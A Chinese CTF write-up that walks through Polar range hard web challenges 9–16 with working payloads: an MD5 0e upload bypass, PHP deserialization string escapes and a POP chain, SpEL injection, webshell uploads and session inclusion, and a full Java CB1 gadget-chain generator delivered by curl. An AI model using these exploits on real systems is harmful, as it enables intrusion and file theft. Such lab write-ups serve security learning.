今天是2026年9月4号

今天分享的是Polar靶场WEB困难第9-16题WP

Polar靶场

9.题目信息:upload tutu

进入靶场:

这题要让我们上传两个文件,我们随便先上传两个文件看看:

我上传了两个php文件会被拦截,我们试试上传jpg文件:

我上传了两个相同的jpg文件也会被拦截,再试试不一样内容的:

这次告诉我们MD5值不相等,于是我猜测源码中是有多层匹配,我们试试PHP弱比较的0e碰撞,先在两个文件中分别写入MD5加密后的开头都是0e,但内容不同的字符串:QNKCDZO240610708

字符串可以用我这里的,也可以在网上找一下。我们直接上传:

直接把源码爆出来了,flag也在里面,成功拿到flag:flag{88f32ae7fc7ed4fcffc2af58d7b98a9d}

10.题目信息:Unserialize_Escape

进入靶场:

分析代码,我们POST的参数会和password一起变成数组,存到user里,然后会把我们POST参数里的x先序列化然后替换成yy,最后和反序列化后的数组下标为1的值进行弱比较,如果双方都是123456就直接输出flag。这里面有把一个x换成两个y的步骤,我们根据前面的分析可以发现,序列化发生在 filter 之前,而替换步骤会导致序列化字符串在反序列化前被"撑大",PHP在反序列化时是严格按照声明长度来读取字节的,随后必须紧跟闭合引号 "。当字符串被撑大后,声明长度与真实长度不一致,多出来的字节会把原本属于结构的 ";i:1; 等字符顶进字符串值,同时我们注入的内容恰好落在"闭合引号之后"的结构位置,从而实现结构篡改也就是字符串逃逸。这就是字符变多型反序列化逃逸。本题中x数量恰好对齐,y占满声明长度、注入段直接接上。我们构造payload:

xxxxxxxxxxxxxxxx";i:1;i:123456;}    #整型注入,我这里的长度刚好32,需要自行调节x的数量,要让转换后的y达到这里的整体数量

我们传入这个参数后会先变成这样:

a:2:{i:0;s:32:"xxxxxxxxxxxxxxxx";i:1;i:123456;}";i:1;s:5:"aaaaa";}    #后面是password的内容

然后再经过字符替换后变成这样:

a:2:{i:0;s:32:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;i:123456;}";i:1;s:5:"aaaaa";} #这里由于我们传入的参数就是32的长度,转换后的y刚好有32个,所以我们成功注入了这段内容:;i:1;i:123456;}

最后我们注入的内容刚好为第二个元素也就是下标为1的元素,元素内容刚好为123456,与题目进行弱比较符合条件,成功输出flag:

成功拿到flag:flag{1d15212ef3230f744539fd2355f46f41}

11.题目信息:自由的文件上传系统

进入靶场:

这里是一个上传点,房子可以点击,点击后地址栏会多出一个参数:

这里是一个文件包含点,我们是可以在这里读到/etc/passwd内容的:

接下来我们随便上传一个木马文件:

发现我们的文件名被改成了一串数字,我们尝试访问:

一片空白,看看源码:

发现我们木马里的?被替换成了!,一句话木马失效。我们找找其他线索,在网络 -> 响应头里可以看到这个靶场的PHP版本:

版本为5.5.9,这个版本我们可以用ASP标签script标签,这两个标签都是不带?的,同时又是当前版本支持的,在7.0版本后才废除。我们先试试ASP标签:

上传:

这个不行,我们再试试script标签

上传:

这个成功了,在根目录找到了flag,我们再次上传读取命令:

成功拿到flag:flag{425fd7f0cdc2b8fc9299869facd3c088}

12.题目信息:ezjava

进入靶场:

这是一个错误页面,附件是一个jar文件,我们尝试启动它:

java -jar demo1-0.0.1-SNAPSHOT.jar --server.port=8080    #它的默认端口为80,但是本机的80端口已被占用,所以我们要让其用其他的端口

启动成功,我们访问看看:

127.0.0.1:8080

和靶场一样,我们把附件的后缀改成zip看一下里面的数据:

里面有文件,我们解压找一下Controller:

找到了,用JD-GUI反编译一下:

发现里面有漏洞点:
路由:/SPEL/vul
可控参数:ex
根据源码可以推断出这题是SpEL注入,先构造一个测试payload:

/SPEL/vul?ex=7*7

成功输出了49,确认漏洞,根据题目提示的flag在/app/flag.txt,我们直接构造payload来读取flag:

/SPEL/vul?ex=T(java.util.Base64).getEncoder().encodeToString(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/app/flag.txt")))    #转成base64编码读取

拿到base64编码,解码:

成功拿到flag:flag{bfff6d206cbcd6ac0870a4f48c7c313b}

13.题目信息:苦海

进入靶场:

是一道反序列化题,分析一下代码,我们可以这样构造POP链:首先,实例化User类会先触发construct魔术方法,这个没什么用,就是打印几个字,可以去掉。然后会到wakeup,里面会触发printName函数,我们给这个函数里的name赋值Surrender类,会触发类里的toString魔术方法,给这里面的file['filename']赋值FileRobot类会触发里面的get类,get类会自动触发invoke魔法读取flag,大致就是这样。构造POP链:

<?php
error_reporting(1);
class User
{
    public $name;
    public function __construct()
    {
    }
    public function printName()
    {
        echo $this->name;
        return 'ok';
    }
    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }
}
class Surrender
{
    private $phone = 110;
    public $promise;
    public $file;
    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }
    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}
class FileRobot
{
    public $filename = "flag.php";
    public $path;
    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }
    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }
    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}
$a=new User();
$b=new Surrender();
$c=new FileRobot();
$a->name=$b;
$b->file['filename']=$c;
$d=new FileRobot();
$c->path=$d;
echo urlencode(serialize($a));
?>

生成payload:

传参:

并没有出现flag,排查了一会发现flag是在上一级目录,我们要把POP链里的FileRobot类中的public $filename = "flag.php";改成public $filename = "../flag.php";,让其读取上一级目录中的flag,把重新生成的payload传入服务器:

成功输出base64编码,我们对其解码:

成功拿到flag:flag{63dd0e9fbadd663542a2f8ea1ccc6765}

14.题目信息:你想逃也逃不掉

进入靶场:

分析代码,这题要使数组user下标为sign的值弱等于ytyyds才能拿到flag,有两个我们可控的参数,我们输入的参数里面如果有phtml、php3、php4、php5、aspx、gif在序列化后会被替换为空。在网络->响应头中可以看到PHP版本信息:

这个版本的弱比较:字符串和数字比较,这题的字符串ytyyds会被转换为0我们可以使sign的值为0就可以绕过弱比较拿到flag。接下来我们开始构造payload,这题依旧是经典的PHP反序列化字符串逃逸。我们先看看正常的序列化,假如我给两个参数传参aaa和bbb序列化后就会是这样的:

a:3:{s:8:"username";s:3:"aaa";s:6:"passwd";s:3:"bbb";s:4:"sign";s:6:"123456";}

可以看到我们输入的参数中间夹着一串字符:s:6:"passwd",如果我们把aaa换成7个gif,此时username段就有21个字符,我们再给passwd赋值";s:6:"passwd";s:0:"";s:4:"sign";i:0;},这段就有38个字符,序列化后就会是这样的:

a:3:{s:8:"username";s:21:"gifgifgifgifgifgifgif";s:6:"passwd";s:38:"";s:6:"passwd";s:0:"";s:4:"sign";i:0;}";s:4:"sign";s:6:"123456";}

接下来,题目会把7个gif全部删掉,整体就变成了这样:

a:3:{s:8:"username";s:21:"";s:6:"passwd";s:38:"";s:6:"passwd";s:0:"";s:4:"sign";i:0;}";s:4:"sign";s:6:"123456";}

可以发现,虽然删除了21个字符,但我们后面的那个"成功闭合了";s:6:"passwd";s:38:"这一段字符,而这里刚好21个字符。再看看后面,s:4:"sign";i:0;}我们成功伪造了值为0sign,然后又通过}闭合了整体,于是后面值为123456sign就会被丢弃,我们就能成功绕过题目拿到flag,最后的payload:
GET请求:

?passwd=";s:6:"passwd";s:0:"";s:4:"sign";i:0;}

POST请求:

name=gifgifgifgifgifgifgif

在网页源码中拿到flag:flag{84sgsg4s5d4e5fse3kj5451dssgsfd45}

15.题目信息:safe_include

进入靶场:

分析代码,题目限定我们只能访问/var/www/html//tmp/两个目录,GET接收xxs参数,然后会include包含我们传入的参数,最后会把我们传入的参数写进session里。分析后可知这是一道session包含,session目录一般是在/var/lib/php/sessions/,镜像 /docker 默认:/tmp/sess_cookie值,由于靶场都是docker环境,而且题目刚好允许访问/tmp,所以我们直接用/tmp目录。先看看有没有cookie:

有cookie,我们直接访问这个目录:/tmp/sess_2pj882aghebf2jpe3rmt999eo0

有回显,证明我们成功了,接下来我们写入一句话木马然后用蚁剑连:

用蚁剑连接目录:/tmp/sess_2pj882aghebf2jpe3rmt999eo0 #注意:上传完一句话木马后就不要上传别的东西了,否则会把木马覆盖掉导致连接不上。

连接成功,在根目录拿到flag:flag{202cb962ac59075b964b07152d234b70}

16.题目信息:CB链

我们先来看附件,后缀改成zip格式后解压:

我们用反编译工具JD-GUI来看一下源码:

发现里面有一个接口user来接收GET或POST参数,还可以看到接口签名 getUser(String user)可以得知参数为userbase64Decode(user);这里会对我们的参数进行base64解码,然后下面一段代码进行反序列化。漏洞点:

ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();

我们把可控字节丢进ObjectInputStream里,readObject()就会自动调用序列化对象的 readObject() 方法,只要传入精心构造的Java序列化字节,在这里就触发任意代码执行。找到接口和漏洞点了,接下来我们需要两个工具:javassistysoserial,我们建一个工作目录把题目附件解压文件夹和后面要用的脚本放进去,在新建一个文件夹,名字自定义,用来存放要用的工具:

然后我们把那两个工具放到自定义目录下(我的是lib),再把CB\BOOT-INF\lib里面的包也全部放到工作目录的lib下:

同时我们可以在解压后的附件中找到这两个jar包:

这两个一出现,答案就写在脸上了CB1链,题目名也验证了这一点,接下来我们写个java脚本(可以让AI帮忙写)来生成payload:

import javassist.*;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class EvilGen2 {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(ysoserial.payloads.util.Gadgets.StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(TemplatesImpl.class));
        CtClass payload = pool.get(ysoserial.payloads.util.Gadgets.StubTransletPayload.class.getName());
        payload.setName("com.sun.org.apache.xalan.internal.xsltc.runtime.Pwn" + System.nanoTime());
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
		//这一段用多种方法读取flag
        String body =
            "String f=null;" +
            "try{f=new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine();}catch(Exception e){}" +
            "if(f==null){try{f=new java.io.BufferedReader(new java.io.FileReader(\"/flag.txt\")).readLine();}catch(Exception e){}}" +
            "if(f==null){try{f=new java.io.BufferedReader(new java.io.FileReader(\"/app/flag\")).readLine();}catch(Exception e){}}" +
            "if(f==null){try{f=new java.io.BufferedReader(new java.io.FileReader(\"/tmp/flag\")).readLine();}catch(Exception e){}}" +
            "if(f==null){f=\"NOFLAG\";}" +
            "try{" +
            "Object attrs=org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();" +
            "javax.servlet.http.HttpServletResponse resp=((org.springframework.web.context.request.ServletRequestAttributes)attrs).getResponse();" +
            "resp.setStatus(200);" +
            "resp.setHeader(\"X-Flag\",f);" +
            "resp.getWriter().write(f);" +
            "resp.getWriter().flush();" +
            "}catch(Exception e){}";
        payload.makeClassInitializer().insertBefore(body);
        payload.getClassFile().setMajorVersion(49);
        byte[] classBytes = payload.toBytecode();
        payload.detach();

        // --- 构造 TemplatesImpl ---
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes });
        Reflections.setFieldValue(templates, "_name", "Pwn" + System.nanoTime());
        Reflections.setFieldValue(templates, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());

        // --- CB1 链 ---
        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new java.math.BigInteger("1"));
        queue.add(new java.math.BigInteger("1"));
        Reflections.setFieldValue(comparator, "property", "outputProperties");
        Reflections.setFieldValue(queue, "queue", new Object[] { templates, templates });
        Reflections.setFieldValue(queue, "size", 2);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();
        byte[] payloadBytes = bos.toByteArray();
        System.out.println("PAYLOAD_START");
        System.out.print(Base64.getEncoder().encodeToString(payloadBytes));
        System.out.println("\nPAYLOAD_END");
        System.err.println("payload bytes: " + payloadBytes.length);
    }
}

把上面这段代码放到工作目录里的EvilGen2.java文件里,接下来我们输入命令运行这个脚本:

javac -proc:none --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED -cp "lib/*" EvilGen2.java    #EvilGen2.java是我给脚本命的名

执行成功,多出了一个文件:

证明编译成功,现在运行生产器,命令:

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -cp ".;lib/*" EvilGen2

输出了一大堆字符,在最后会有一大段base64编码,这就是我们要的payload,我们直接复制这一大堆编码到靶场,在前面我们得知了接口是user,我们就可以发POST请求来获取flag,但是由于payload字符量太多,我们可以把它存在一个文本里:

然后用curl命令来得到flag,我们先把这个文本的内容存到变量里,命令:

$PAY = Get-Content payload.txt -Raw    #PAY是变量名,可以自定义

然后用curl命令来获取flag,命令:

curl.exe -X POST "http://c0208b85-4893-4816-b041-86c71fe5604f.www.polarctf.com:8090/user" --data-urlencode "user=$PAY" -i

成功拿到flag:flag{cab20046-3945-f9f4-7125-7ca2703a31df}

今天就到这里。

表象皆是虚妄,漏洞隐于流转之间。